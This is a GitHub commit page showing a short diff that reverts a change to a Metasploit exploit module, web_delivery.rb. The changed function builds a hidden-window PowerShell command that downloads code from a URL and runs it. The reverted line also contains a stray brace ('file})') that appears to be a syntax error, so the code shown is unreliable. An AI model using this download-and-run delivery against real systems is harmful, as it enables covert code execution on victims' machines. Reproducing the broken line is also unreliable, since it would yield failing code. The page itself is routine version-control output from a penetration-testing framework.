Skip to content

Commit 0a858cd

Browse files
committed
Revert "fix my comments from rapid7#8933"
This reverts commit 02a2839.
1 parent 9961c70 commit 0a858cd

File tree

1 file changed

+5
-2
lines changed

1 file changed

+5
-2
lines changed

modules/exploits/multi/script/web_delivery.rb

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -163,13 +163,16 @@ def gen_psh(url, *method)
163163
file = %Q(echo (#{path}+'\\#{filename}'))
164164

165165
# Generate download PowerShell command
166-
download_string = Rex::Powershell::PshMethods.download_run(url, file)
166+
download_string = Rex::Powershell::PshMethods.download_run(url, file})
167167
end
168168

169169
download_and_run = "#{ignore_cert}#{download_string}"
170170

171171
# Generate main PowerShell command
172-
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
172+
return generate_psh_command_line(noprofile: true,
173+
windowstyle: 'hidden',
174+
command: download_and_run
175+
)
173176
end
174177

175178

0 commit comments

Comments
 (0)